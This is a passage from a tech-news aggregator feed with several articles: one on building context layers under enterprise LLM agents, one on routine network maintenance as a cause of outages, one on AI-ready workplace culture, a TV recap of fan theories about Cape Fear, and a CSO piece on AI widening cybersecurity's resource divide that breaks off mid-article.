<p>The analysis took 45 minutes. It was only possible because our data was already organized, tagged by team, connected to contributors, accessible through MCP and protected by role-based access. None of that is “AI.” All of it is the layer underneath AI that almost nobody invests in first. That’s probably because the investment is unglamorous: updating data dictionaries, access controls, team taxonomies, system-to-system mappings. Most of the work has been the same for twenty years. AI just raised the cost of skipping it.<br></p>



<h2 class="wp-block-heading">The intelligence underneath the models</h2>



<p>I keep coming back to the value of context data layers as a CTO in the middle of an AI rollout. I have started calling that value proposition contextual intelligence because I haven’t found a better name. Anthropic’s engineering team has been calling this kind of work “<a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow">context engineering</a>” since late 2025, and <em>CIO</em><a href="https://www.cio.com/article/4080592/context-engineering-improving-ai-by-moving-beyond-the-prompt.html"> ran its own feature on the term</a> shortly after. Whether you describe it as contextual intelligence or context engineering, it’s the part of the stack where the actual programming work still lives.</p>



<p>If business logic is your company’s official org chart, then contextual intelligence is knowing who actually gets things done, how decisions are actually made and what the unwritten rules are. One is theory. The other is reality.</p>



<p>Most enterprise systems capture the theory. The systems that capture how work actually happens — what people do, how teams operate, where decisions get stuck — are rarer and harder to build. And modern LLMs, it turns out, are useless without both.</p>



<p>I learned this the hard way at a recent company hackathon. Nine engineering teams, one prompt: make our operational dataset more usable through AI. My team built persona-based chatbots (CFO, CIO, sales manager) on top of an MCP server backed by Postgres and our enrichment data. Other teams built dashboard generators, Looker conversational analytics and workflow agents.</p>



<p>The initial demos all had the same problem. Claude could talk to our data, but the answers were either generic or confidently wrong. The CFO persona would happily report a “spend trend” that quietly conflated two distinct cost categories across two different tables. The CIO persona would answer questions about team productivity, but the averages across roles should never have been aggregated. The sales manager persona returned answers that were technically correct against the schema and completely wrong against the business. The raw data was rich. The context layer around it didn’t exist yet. Chatting with raw data is not an AI product. It’s a demo.</p>



<p>One of my senior engineers spent the second day ripping out the agent’s direct database connection. He stopped trying to prompt-engineer the LLM to understand our business and instead codified that logic into the data pipeline. Working backward from the failed CFO answers, he mapped out the implicit knowledge an experienced controller relies on: Explicitly defining which legacy tables actually represent ‘spend,’ writing the rules for currency normalization and hardcoding our fiscal time windows. He built a series of semantic SQL views to enforce these rules and restricted the MCP server to exposing only this curated layer. When we pointed the same model at those same questions, it returned completely different answers. They were specific, evidence-based and grounded in our actual business reality. The model didn’t get smarter. The engineering beneath it did.</p>



<h2 class="wp-block-heading">The same pattern shows up everywhere I look right now</h2>



<p><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/one-year-of-agentic-ai-six-lessons-from-the-people-doing-the-work" rel="nofollow">McKinsey</a> keeps publishing that software development tops enterprise AI use cases, with companies reporting 30–50% productivity gains in pilots. The pilot numbers are real. They rarely translate to top- or bottom-line impact in production. Our own company data tells the same story: Between Q1 2025 and Q1 2026, our total AI tool usage grew by 328% (over 4x). Over that same period, PR throughput grew by just 49%.</p>



<p>That gap — adoption way up, outcomes inching along — is the context gap. Plug a generic agent into raw, uninterpreted data, and it will act inefficiently at best, harmfully at worst. An agent optimizing sales without your customer segmentation or product hierarchy will confidently recommend the wrong thing. Anthropic<a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow"> </a><a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow">framed the shift directly</a>: building with language models is becoming “less about finding the right words and phrases for your prompts, and more about answering the broader question of what context configuration is most likely to generate our model’s desired behavior.” That second question — what context configuration  — is the entire game. Most organizations are still answering the first one.</p>



<h2 class="wp-block-heading">Where the work actually lives</h2>



<p>A growing number of CTOs I talk to are shifting their AI investments accordingly. Less attention on the model. More on the layer between the model and the data.</p>



<p>When peers ask me what that actually looks like day-to-day, I tell them I give every engineering role the same mandate: the LLM should never see raw, uncontextualized data.</p>



<p>In practice, that breaks down to three pieces of work, none of them glamorous.</p>



<p>The first is semantic middleware. We need code that transforms raw data into business-meaningful signals before it ever reaches the model. Our feature stores hold things like “employee code velocity on critical-path features,” not “X logged 50 Git commits.” The work of figuring out what “critical-path” means in our product, in our org, on this team is the work. It does not get cheaper because the model has gotten better.</p>



<p>The second is multi-agent design. Instead of one omniscient orchestrator, we run smaller agents scoped to specific domains, each with rules that catch the failure modes the main model is known for. We pair them with RAG that retrieves precomputed insights, with their rules attached, rather than raw documents. Validation checkpoints sit between steps and flag suggestions that violate known constraints, such as averaging productivity across completely different job functions. The guardrails are not there to be clever. They are there because we already watched the model make those exact mistakes.</p>



<p>The third is evaluation that takes business logic seriously. When I look at a model, general benchmark accuracy is the least interesting number. I want to know whether it respects our constraints and integrates cleanly with our existing architecture. That sometimes means fine-tuning our patterns, sometimes constitutional approaches to embed principles, sometimes hybrid systems where deterministic rules sit alongside the probabilistic ones. The throughline is the same: validate against reality, not against the benchmark.</p>



<h2 class="wp-block-heading">Why this matters now</h2>



<p>The reason this matters more now than it did six months ago is that adoption is moving faster than measurement, let alone integration. Model Evaluation &amp; Threat Research’s (<a href="https://metr.org/" rel="nofollow">METR</a>) developer productivity work tells the story in a way they didn’t intend. In early 2025, they<a href="https://arxiv.org/pdf/2507.09089" rel="nofollow"> ran a controlled study</a> and found AI tools slowed experienced open-source developers by 19%. When they tried to<a href="https://metr.org/blog/2026-02-24-uplift-update/" rel="nofollow"> repeat the study in late 2025</a>, the experiment broke. Thirty to fifty percent of developers refused to submit tasks under the no-AI condition. They wouldn’t accept working without their tools. METR is now redesigning the study because the original methodology no longer holds up against how developers actually work. That’s how fast adoption moved. But I’d be willing to bet the organizational scaffolding required to convert that adoption into outcomes — context layers, workflow redesign, retraining around new tools — moved nowhere near as fast.</p>



<h2 class="wp-block-heading">Get ahead with context </h2>



<p>The teams I’ve seen succeed with AI built the context layer first. The teams I’ve seen struggle eventually built in context anyway, just at higher cost and with more scar tissue. Raw data is the new currency. But raw data without a context layer is cash sitting in a vault. It cannot act on anything. The difference between insight and noise is a layer of code that understands what your data means.</p>



<p>That layer is the work. It is where the next decade of competitive advantage will sit. And in my experience, the organizations that build it first are the ones that will actually get the productivity gains the rest of the market keeps promising.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Routine maintenance as a failure vector in modern networks]]></title>
<description><![CDATA[Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.



Eve...]]></description>
<link>https://tsecurity.de/de/3664719/it-security-nachrichten/routine-maintenance-as-a-failure-vector-in-modern-networks/</link>
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<pubDate>Mon, 13 Jul 2026 11:08:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Early in my consulting career, I assumed maintenance windows reduced risk. After all, the purpose of planned maintenance is to improve reliability, apply fixes and prevent future outages. That assumption changed after I participated in what should have been a routine infrastructure change.</p>



<p>Every pre-check passed. Device health looked normal. High-availability synchronization was complete. Monitoring showed no obvious concerns. Yet shortly after the change, users began reporting application failures.</p>



<p>The root cause was not a failed upgrade, hardware fault or software defect. The maintenance activity exposed a dependency elsewhere in the traffic path that nobody had considered.</p>



<p>Since then, I have seen similar patterns repeatedly across enterprise environments. The change itself was rarely the problem. The problem was the assumption that the change was isolated.</p>



<p>Planned maintenance is intended to reduce risk, but in practice, it often introduces risk into an otherwise stable network.</p>



<p>Many production incidents result from routine tasks such as firewall updates, DNS changes, certificate renewals, routing adjustments, load balancer failovers, WAF updates, switch upgrades or software patches, rather than dramatic failures.</p>



<p>The reality is that “routine” does not equate to “low risk.” It simply means the activity has been performed before, not that the current environment will respond the same way.</p>



<p>Modern networks have become too interconnected for maintenance to be treated as a simple device-level task. A change to one control point can expose a dependency elsewhere in the traffic path. A firewall update can affect asymmetric return traffic. A DNS change can shift users to a data center where persistence is not aligned. A load balancer failover can expose stale ARP or MAC learning issues. A certificate renewal can cause an inspection or TLS negotiation to fail in the backend. A WAF update can block application behavior that was never visible in testing.</p>



<p>Failures rarely stem from the maintenance activity itself, but rather from the assumption that the change is isolated.</p>



<h2 class="wp-block-heading">Why routine changes still cause outages</h2>



<p>In traditional network operations, the unit of change was often a device: upgrade a switch, modify a router, add a firewall rule, renew a certificate or reboot an appliance. That model worked better when application traffic paths were simpler, and dependencies were easier to understand.</p>



<p>Today, a single user transaction may cross DNS, global traffic management, WAN routing, data center switching, firewalls, load balancers, TLS inspection points, WAF policies, API gateways and backend application tiers. Each layer may make an independent decision about availability, security, routing or session handling.</p>



<p>This creates a risky maintenance pattern. Teams often validate only the component they changed, not the complete traffic flow before and after the change. Devices may appear healthy, configurations may load correctly and all checks may pass, yet users can still experience failures due to a changed dependency somewhere in the end-to-end path.</p>



<p>Google’s Site Reliability Engineering (SRE) guidance highlights that changes remain one of the most common sources of service disruption, which is why mature organizations invest heavily in change validation, rollback planning and observability. <a href="https://sre.google/sre-book/">The SRE book</a> provides extensive discussion of change management, reliability engineering and operational risk in large-scale environments.</p>



<p>For this reason, maintenance windows should be evaluated as both operational events and potential failure vectors.</p>



<h2 class="wp-block-heading">Common failure points during maintenance</h2>



<p>One common issue is state mismatch. Firewalls, load balancers, NAT devices and application delivery controllers often maintain connection or session state. During failover, reboot or path change, existing flows may not survive even if the standby device becomes active as designed. New connections may succeed while long-lived sessions fail. In other cases, traffic may enter through one device and return through another, causing stateful inspection to drop packets that appear invalid.</p>



<p>Asymmetric routing is another frequent cause. A routing change may look harmless from a Layer 3 perspective, but if the forward and return paths traverse different firewalls or inspection zones, applications can fail intermittently. The network may still be “up,” but the security policy no longer sees the full conversation.</p>



<p>Layer 2 behavior is also underestimated. In highly available data center designs, MAC learning, ARP cache behavior, VLAN tagging, port channels and first-hop gateway behavior can determine whether traffic moves cleanly after a failover. A device may successfully assume an active role, but upstream switches or firewalls may still forward traffic toward the old path until tables age out or are refreshed.</p>



<p>DNS and GSLB changes introduce a different class of risk. Teams often test name resolution, but resolution is only the first step. The more important question is where users are being sent and whether that destination is ready to handle production traffic.</p>



<p><a href="https://www.internetsociety.org/resources/deploy360/dns/">DNS resilience guidance published by the Internet Society</a> emphasizes that successful name resolution alone does not guarantee application availability, particularly when multiple infrastructure dependencies exist behind the DNS response.</p>



<p>If global traffic management shifts users from one data center to another, the receiving site must have aligned firewall rules, load balancer configuration, health monitors, certificates, persistence behavior, routing advertisements and backend capacity. Otherwise, DNS sends users to a site that is not actually ready.</p>



<p>Certificate maintenance can also break more than the browser-facing endpoint. In many environments, TLS is terminated, re-encrypted, inspected or validated across multiple hops. Renewing a certificate on the external virtual server may not address backend certificates, intermediate chains, SNI behavior, cipher compatibility or trust stores used by inspection devices. The maintenance task may be described as a certificate renewal, but the real dependency is end-to-end TLS negotiation.</p>



<p>Security policy maintenance creates another risk. WAFs, IPSs, DDoS protection systems, bot defense platforms and firewall policies are designed to block abnormal behavior. But during updates, tuning changes or signature refreshes, they can also block legitimate application traffic if policy enforcement is not validated against real transaction patterns.</p>



<p>This is especially true for APIs, where small differences in headers, methods, payload structure or authentication flows can trigger unexpected enforcement.</p>



<h2 class="wp-block-heading">The test environment problem</h2>



<p>Many teams rely on pre-checks and test environments, but these controls are often less effective than they seem.</p>



<p>Pre-checks confirm device reachability, interface status, route existence, pool member availability and HA health. While necessary, these checks do not ensure production traffic will survive a path change because they focus on infrastructure rather than transaction validation.</p>



<p>Test environments rarely mirror production. Production environments involve real user volume, client diversity, DNS caching behavior, firewall states, certificates, backend latency and complex dependencies. A failover that succeeds in a lab may behave very differently in the real world.</p>



<p>This does not render testing useless, but test results should not be considered proof of production safety. They provide evidence, not a guarantee.<br><br>This challenge aligns with broader <a href="https://www.nist.gov/cyberframework">operational resilience guidance from the NIST Cybersecurity Framework</a>, which emphasizes continuous monitoring, validation and recovery planning as critical operational capabilities.</p>



<p>A stronger maintenance process starts with mapping the traffic path before the window. For critical applications, teams should understand the normal ingress path, egress path, firewall zones, NAT points, load balancer virtual servers, DNS or GSLB decision points, TLS termination points, persistence requirements and backend dependencies.</p>



<p>The next step is defining failure expectations. What happens to existing sessions if a firewall is rebooted? Should source MAC, floating IP, ARP or upstream forwarding behavior change during a load balancer failover? How long will cached clients continue to access the old site after a DNS shift? Which clients and inspection devices validate the certificate chain when a certificate is replaced?</p>



<p>These questions should be addressed before the maintenance window, not during an outage.</p>



<p>Pre-checks should include both control-plane and data-plane evidence. Control-plane checks confirm configuration, synchronization, device health, routing tables, interface status and object availability. Data-plane checks validate real traffic movement: TCP handshakes, TLS negotiation, HTTP status codes, API responses, session persistence, source NAT behavior and return-path consistency.</p>



<p>During the change, monitoring should focus on symptoms that expose traffic failure early. Device CPU and interface status are useful, but they are not enough. Teams should also watch connection resets, denied firewall logs, WAF violation spikes, pool member selection failures, DNS answer changes, TCP retransmissions, backend 5xx errors and synthetic transaction results.</p>



<p>Rollback planning must also be precise. Simply rolling back a configuration is often insufficient. If a DNS record changes, cached clients may continue using the previous answer. If a firewall state table is cleared, restoring the rule does not recover active sessions. If failover alters forwarding behavior, upstream devices may require ARP refresh, route reconvergence or manual validation.</p>



<p>An effective rollback plan should identify lost state, persistent caches and the evidence required to confirm recovery.</p>



<h2 class="wp-block-heading">Treating maintenance as a resilience exercise</h2>



<p>The objective is not to make maintenance overly complex or bureaucratic. The objective is to avoid underestimating its risks.</p>



<p>Every maintenance window is a controlled opportunity to test whether the network behaves as specified by the architecture.</p>



<p>If failover is part of the design, maintenance should verify failover behavior. If a secondary data center is expected to handle traffic, maintenance should demonstrate that it can process real transactions. If security policies are updated, maintenance should prove that legitimate traffic is still allowed. If certificates are renewed, maintenance should validate the complete TLS path, not just the public endpoint.</p>



<p><a href="https://uptimeinstitute.com/resources">Industry outage studies published by the Uptime</a> Institute consistently show that human error and process failures remain significant contributors to downtime. Their annual outage research continues to highlight the role of operational processes and maintenance activities in service disruptions.<br><br>Maintenance windows provide an opportunity to identify those weaknesses before they become customer-facing incidents.</p>



<p>This requires closer collaboration between network, security, application and operations teams. Network engineers may own routing or load-balancing changes, but application teams understand transaction flows. Security teams understand inspection and enforcement behavior. Operations teams often see user-impacting symptoms first.</p>



<p>Treating maintenance as a shared traffic event rather than a device event reduces blind spots.</p>



<p>Routine maintenance will always involve some risk. However, the greatest risk is the false confidence that the term ‘routine’ conveys.</p>



<p>Modern networks fail in the spaces between systems: between DNS and load balancing, between firewalls and routing, between TLS inspection and application behavior, between HA design and actual forwarding state. Maintenance exposes those spaces.</p>



<p>For that reason, network teams should view every maintenance window as more than a checklist. It is a live test of architecture, operational discipline and production resilience.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 steps to building an AI-ready culture before your next technology investment]]></title>
<description><![CDATA[Technology is evolving at a relentless pace. Headlines proclaim the latest AI breakthroughs and generative models that promise to transform the way we work. Yet, when I sit down with leaders across industries, the conversation quickly shifts. The real questions are not about models, algorithms, o...]]></description>
<link>https://tsecurity.de/de/3664589/it-nachrichten/5-steps-to-building-an-ai-ready-culture-before-your-next-technology-investment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664589/it-nachrichten/5-steps-to-building-an-ai-ready-culture-before-your-next-technology-investment/</guid>
<pubDate>Mon, 13 Jul 2026 10:03:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Technology is evolving at a relentless pace. Headlines proclaim the latest AI breakthroughs and generative models that promise to transform the way we work. Yet, when I sit down with leaders across industries, the conversation quickly shifts. The real questions are not about models, algorithms, or shiny tech investments; they’re about people. How do we equip our teams to thrive amid disruption – not just survive it? What practical steps move us from mere digitisation to lasting transformation?</p>



<p>These are the questions at the heart of a recent episode in our Decoding Business Transformation series. I had the pleasure of hosting Dr Sean Gallagher, founder of Humanova and one of Australia’s foremost voices on the future of work. The insights and recommendations below are drawn directly from that conversation, and I believe every boardroom should confront them head-on:<strong> In the era of agentic AI, culture will determine winners, not code.</strong></p>



<h2 class="wp-block-heading">The fancy tech is table stakes. People are the differentiator.</h2>



<p>Let’s debunk a persistent myth: successful AI adoption is not a technology problem – it’s a talent and culture challenge.</p>



<p>Recent BCG research shows that high-performing AI leaders invest 70% of their resources into people and processes, with just 10% going to the algorithms themselves. Real value emerges when we empower individuals at every level – equipping them with the mindset, capabilities, and (crucially) the psychological safety to experiment with and apply new technologies.</p>



<p>As Dr Gallagher put it: “AI is a talent strategy, not just a technology play.” Transformation begins not with a new tool, but with a fundamental reimagining of how we nurture, develop, and inspire our people to explore, experiment, and adapt.</p>



<h2 class="wp-block-heading">Why most AI projects fail: Ignoring the human element</h2>



<p>Here’s a sobering truth, surfaced by Deloitte a decade ago: humans adapt to exponential technologies much faster than organisations do. The mistake? Leaders try to “bolt on” AI to outdated processes – putting a rocket on a jalopy, so to speak.</p>



<p>True transformation happens when we flip the script: empower employees first, technology second.</p>



<p>Frameworks such as the “Work Value Pyramid” can help organisations focus on shifting time away from repetitive administrative work and towards creativity, problem-solving, and strategic innovation. In practice, this means:</p>



<ul class="wp-block-list">
<li>Resisting knee-jerk reductions in headcount. Your people’s tacit knowledge is invaluable capital.</li>



<li>Rewiring incentives and KPIs to reward learning, experimentation, and sharing.</li>



<li>Destigmatising “shadow AI” use. Bring your secret AI champions into the open, empower them as peer teachers, and build psychological safety for everyone to explore.</li>
</ul>



<h2 class="wp-block-heading">Flatten the org; Redesign the work</h2>



<p>The blueprint for winning in the AI age is taking shape: Flatter, Faster, Fitter, Fewer.</p>



<ul class="wp-block-list">
<li>Flatter: Remove unnecessary hierarchy. Push decision-making to the edges of the organisation.</li>



<li>Faster: AI is about more than simply doing things; it’s about doing them at the speed the market now demands.</li>



<li>Fitter: Build nimble, AI-literate teams who treat AI as a digital colleague – not a threat.</li>



<li>Fewer: Growth is not about increasing headcount; it’s about unlocking higher-value work for everyone.</li>
</ul>



<p>Above all, resist the temptation to simply automate legacy processes. As McKinsey put it, “the fundamental redesign of workflows is the largest factor correlated with real impact.” Start with people and how work creates value – then let AI accelerate, not dictate, those improvements.</p>



<h2 class="wp-block-heading">Measurement: Macro, not micro</h2>



<p>Most companies focus on the wrong metrics: time saved per prompt, or “AI-powered” process widgets. That’s missing the point.</p>



<p>Instead, focus on:</p>



<ul class="wp-block-list">
<li>Business-wide impact: Are you accelerating time-to-market? Opening new revenue streams? Raising the innovation bar?</li>



<li>Learning culture: Are teams sharing use cases and lessons? Is experimentation a norm?</li>



<li>Accountability KPIs: Prioritise experimentation, collaboration, and demonstrated learning over mere output.</li>
</ul>



<h2 class="wp-block-heading">In closing: The real transformation is human</h2>



<p>If there’s one message from my conversation with Dr Gallagher, and from everything I’ve seen working with the world’s most ambitious brands, it’s this:</p>



<ul class="wp-block-list">
<li>Invest deeply in your people – early, intentionally, and continuously.</li>



<li>Amplify the learning and experiments of your early adopters.</li>



<li>Model the behaviour you seek, starting with leadership.</li>



<li>Redefine productivity around effectiveness and innovation – not just efficiency.</li>
</ul>



<p>Generative AI, and the new breed of AI “agents”, are rapidly becoming our digital colleagues. But only human curiosity, courage, and culture can unlock their full value. In this era, the ultimate competitive advantage is not code. It’s culture.</p>



<p>To learn more about Twilio, visit <a href="https://www.twilio.com/en-us/why-twilio?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_end-cta-5steps_brandposthub" target="_blank" rel="sponsored">here</a>.</p>



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<title><![CDATA[Cape Fear Episode 7 Sparks Wild Theories About Max Cady’s Children]]></title>
<description><![CDATA[Warning: Major spoilers for Cape Fear Episode 7.



Episode 7 of Cape Fear has sparked one of the biggest debates of the season after suggesting that Natalie could be Max Cady's daughter. The twist has left viewers questioning almost every relationship in the show, while many believe Max is simpl...]]></description>
<link>https://tsecurity.de/de/3664518/ios-mac-os/cape-fear-episode-7-sparks-wild-theories-about-max-cadys-children/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664518/ios-mac-os/cape-fear-episode-7-sparks-wild-theories-about-max-cadys-children/</guid>
<pubDate>Mon, 13 Jul 2026 09:23:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Warning: Major spoilers for Cape Fear Episode 7.



Episode 7 of Cape Fear has sparked one of the biggest debates of the season after suggesting that Natalie could be Max Cady's daughter. The twist has left viewers questioning almost every relationship in the show, while many believe Max is simply playing another psychological game.



Is Natalie Really Max Cady's Daughter?



The latest episode appears to confirm that Natalie may be Max's biological daughter after he gives her a beard hair for a DNA test. If that turns out to be true, it would also make her Nevaeh's half-sister, creating an uncomfortable layer to their earlier relationship.



However, many fans are not buying the reveal.



Across Reddit, viewers argue that Max has spent the entire season manipulating vulnerable people. Some believe he has been using emotional pressure, drugs, and carefully planned lies to convince both Natalie and Zack that he is their father. Others think the DNA sample is simply another part of his plan, either because Natalie will never complete the test or because the results will arrive too late to stop him.



That theory also fits Max's actions later in the episode. If he genuinely believed Natalie was his daughter, many viewers question why he would frame her for Ray Rawlins' murder and put her directly in danger.



Fans Are More Confused Than Ever



The family tree has become one of the biggest talking points online.



Some fans are convinced everyone somehow ends up connected to Max, while others think the writers are deliberately encouraging that confusion before revealing another twist. Reddit discussions are filled with theories ranging from fake paternity claims to psychological manipulation rather than actual biological relationships.



Many viewers expect the show to reveal that Max has been exploiting Natalie's search for answers instead of telling her the truth.



Javier Bardem Keeps Winning Fans



Despite the increasingly wild storyline, one thing viewers almost universally agree on is Javier Bardem's performance.



His version of Max Cady remains the strongest part of the series, with many fans admitting they have started rooting for him because he consistently outsmarts the Bowden family. Even viewers frustrated by the plot twists continue to watch largely because of Bardem's performance and the story's unpredictable direction.



Episode 7 Also Drew Criticism



While the paternity reveal dominated the discussion, viewers also pointed out several questionable moments.



Some criticized the characters for making unbelievable decisions, while others noticed a dialogue mistake in which a therapist uses "exasperated" instead of "exacerbated." Although it is a minor detail, fans questioned how the error remained in the finished episode.



Viewers Are Still Watching



Even with growing criticism, Cape Fear continues to keep audiences engaged.



Episode 7 has turned nearly every major relationship into a mystery, and fans are still debating whether Max is revealing long hidden truths or creating another elaborate deception. With several episodes still remaining, the biggest question has not changed. Is Max Cady finally telling the truth, or is this simply his most convincing lie yet?]]></content:encoded>
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<title><![CDATA[Can AI narrow cybersecurity’s class divide?]]></title>
<description><![CDATA[At Amazon Web Services (AWS), artificial intelligence is already compressing security work that once took months into minutes.



In the old world, human red teams would find vulnerabilities, write reports, refine those reports, and eventually hand them to defenders, who would then begin building...]]></description>
<link>https://tsecurity.de/de/3664478/it-security-nachrichten/can-ai-narrow-cybersecuritys-class-divide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664478/it-security-nachrichten/can-ai-narrow-cybersecuritys-class-divide/</guid>
<pubDate>Mon, 13 Jul 2026 09:07:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>At Amazon Web Services (AWS), artificial intelligence is already compressing security work that once took months into minutes.</p>



<p>In the old world, human red teams would find vulnerabilities, write reports, refine those reports, and eventually hand them to defenders, who would then begin building detections or fixes, <a href="https://www.linkedin.com/in/stephenschmidt1/">Steve Schmidt</a>, chief security officer at AWS, tells CSO. That process could take “two, four, six, eight, 10 months,” Schmidt says.</p>



<p>“Now with proper application of AI, we can have the detections built for the problems the red team finds in 15 minutes-ish,” he says. “I think the outside is about four hours.”</p>



<p>That kind of workflow offers a glimpse of what AI could make possible for the most sophisticated security organizations: AI agents testing systems, other agents generating defenses, and human security engineers validating results and refining the feedback loop.</p>



<p>But it also raises a more uncomfortable question for the rest of the cybersecurity industry: What happens to organizations that cannot build anything close to that?</p>



<p>The concern has become significant enough that the Trump administration <a href="https://www.csoonline.com/article/4180205/trump-revives-parts-of-canceled-ai-order-with-cybersecurity-focused-directive.html">recently directed</a> agencies to expand access to AI-enabled cybersecurity capabilities for resource-constrained organizations, including rural hospitals, community banks, and local utilities.</p>



<p>The order reflects a growing fear that AI could deepen a divide that has existed in cybersecurity for years: the divide between organizations with money, expertise, and engineering depth, and those struggling to keep pace with basic security demands.</p>



<p>Yet security leaders and practitioners suggest the impact of AI will be more complicated than a simple widening gap. Some experts say AI is merely adding a new layer to a long-standing security poverty problem. Others argue AI could democratize capabilities once reserved for elite organizations. Still others see today’s divide as real, but potentially temporary, as models become cheaper, more open, and easier to run.</p>



<h2 class="wp-block-heading">The class divide was already here</h2>



<p>For <a href="https://www.linkedin.com/in/matthewowenwarner/">Matt Warner</a>, co-founder and CTO of Blumira, the premise that AI is creating a cybersecurity class divide misses a key point: The divide already exists.</p>



<p>“I would go even a step further and say that there has been a class divide for the last 10 to 15 years,” Warner tells CSO.</p>



<p>What AI changes, he argues, is not necessarily the existence of the divide but how stark it becomes. Larger organizations have money, people, and time to experiment with AI. Smaller organizations often do not.</p>



<p>“The big differences that we’re seeing, especially from where we sit in the world, is the difference is getting starker in having the resources to leverage AI and the time to leverage AI more than anything else,” Warner says.</p>



<p>That distinction matters because many smaller organizations are already overwhelmed. Warner pointed to resource-constrained local governments and small or midmarket organizations that are still far behind large enterprises in basic IT and security maturity.</p>



<p>“I can find you a county in Michigan with two IT people for 2,000 employees,” Warner says. “Those people don’t have time to leverage AI and even learn how to use AI because they’re mostly just trying to put out fires.”</p>



<p>That problem is not unique to AI. Smaller organizations have long struggled to patch systems, prioritize vulnerabilities, monitor environments, and respond to incidents with limited staff. AI may help eventually, but only if those organizations have enough capacity to adopt it.</p>



<h2 class="wp-block-heading">Wendy Nather’s framework gets an AI layer</h2>



<p><a href="https://www.linkedin.com/in/chuvakin/">Anton Chuvakin</a>, security advisor in the office of the CISO for Google Cloud, sees the AI divide as part of a much older problem.</p>



<p>“I feel like it sends me back to when <a href="https://www.linkedin.com/in/wendynather/">Wendy Nather</a> invented the security poverty line,” Chuvakin tells CSO, referring to Nather’s <a href="https://www.infosecuritymagazine.nl/files/2fb0642808f57f0f9831532ae8f7e8fd.pdf">2011 concept</a> describing organizations that lack the money, expertise, capability, or influence to implement effective security.</p>



<p>Chuvakin is skeptical that AI fundamentally changes that model. “I don’t think AI necessarily breaks that model,” he says. “I think it just adds another dimension.”</p>



<p>Cybersecurity has always been shaped by unequal access to top talent, tools, and services, Chuvakin argues. Large organizations could afford better SIEM deployments, advanced DLP programs, threat hunters, application security experts, and incident response retainers. Smaller organizations often could not.</p>



<p>AI may become another scarce resource, but Chuvakin cautions against overstating the role of model cost alone. In his view, the <a href="https://www.cio.com/article/4165232/whats-holding-back-enterprise-ai-shortage-of-talent-cios-say.html">bigger structural issue may be talent</a> rather than tokens.</p>



<p>“Prices for people won’t drop, but prices for LLMs may drop,” he believes.</p>



<p>That means the organizations with the greatest advantage may not simply be those that can afford the most expensive models. They may be the ones that can afford the people who know how to use them — and, as the frontier-access debate below suggests, that talent gap may prove more durable than any gap in model access itself.</p>



<h2 class="wp-block-heading">AI creates new costs — and new uncertainties</h2>



<p>Nather herself, now senior research initiatives director at 1Password, sees AI affecting every dimension of the security poverty line: money, expertise, capability, and influence.</p>



<p>The financial challenges are not limited to whether an organization can pay for an AI tool. In some cases, organizations that cannot afford enterprise licensing may end up making tradeoffs around privacy.</p>



<p>“If an organization can’t afford an enterprise license for the models they’re using, then they can’t keep their data private,” Nather tells CSO. “So, they have to give up privacy because they can’t afford privacy.”</p>



<p>That’s a new twist on an old dimension of the poverty line: It’s not just that under-resourced organizations lack a capability, but that the capability they can afford comes bundled with a risk wealthier organizations don’t have to accept.</p>



<p>Token-based pricing adds another problem: <a href="https://www.cio.com/article/4152601/without-controls-an-ai-agent-can-cost-more-than-an-employee.html">unpredictability</a>. “At this point, nobody knows how much they’re going to burn in tokens at any given time,” she says.</p>



<p>That makes budgeting difficult for organizations that cannot absorb surprise costs. Nather also warns that usage-based pricing is controlled by providers and can change over time, <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">leaving customers with limited leverage</a>.</p>



<p>“The charging practice is in the hands of the providers, and they can change it at any time,” she says.</p>



<p>For organizations already operating below the security poverty line, that uncertainty could make AI adoption harder, even if the technology itself becomes more capable.</p>



<h2 class="wp-block-heading">Access to frontier models may be a temporary divide</h2>



<p><a href="https://www.linkedin.com/in/davidbaggett/">Dave Baggett</a>, SVP/GM of the security suite at Kaseya, agrees there is security class divide dynamic playing out today, particularly around access to frontier models.</p>



<p>“There’s definitely a haves and have-nots issue around Mythos specifically because most people don’t have it,” Baggett tells CSO. But he doesn’t think the divide will have a long-term impact. Open-weight models, quantization, mixture-of-experts architectures, and increasingly powerful commodity hardware, he argues, are closing the gap faster than most people expect.</p>



<p>While not every organization will build a frontier model, he says, more organizations may be able to run capable models locally or use cheaper systems that <a href="https://www.csoonline.com/article/4170818/what-happens-when-chinas-ai-catches-up-to-mythos.html">approximate what today’s elite models can do</a>.</p>



<p>“What it says for finding vulnerabilities is at that point, open-source people can run this stuff,” Baggett says. “Then you’re back to having a symmetrical opportunity where the defenders who are writing the open source can run the same tools the attackers would and have them fix the issues.”</p>



<p>His bottom line is that the divide may be real but short-lived. “Right now, there certainly is a have, have-not schism, but it may not be there for long,” Baggett says — a view Chuvakin shares, though he frames it in terms of the model market rather than open source specifically.</p>



<p>“I don’t think it’s the lowering prices example, but it’s more like you’re a top-tier model maker, I’m a second-tier model maker. My model in a year would do what your model did a year ago,” Chuvakin says.</p>



<h2 class="wp-block-heading">The real advantage is operational depth</h2>



<p>Schmidt’s description of AI use at AWS points to another kind of divide: not access to AI, but the ability to operationalize it.</p>



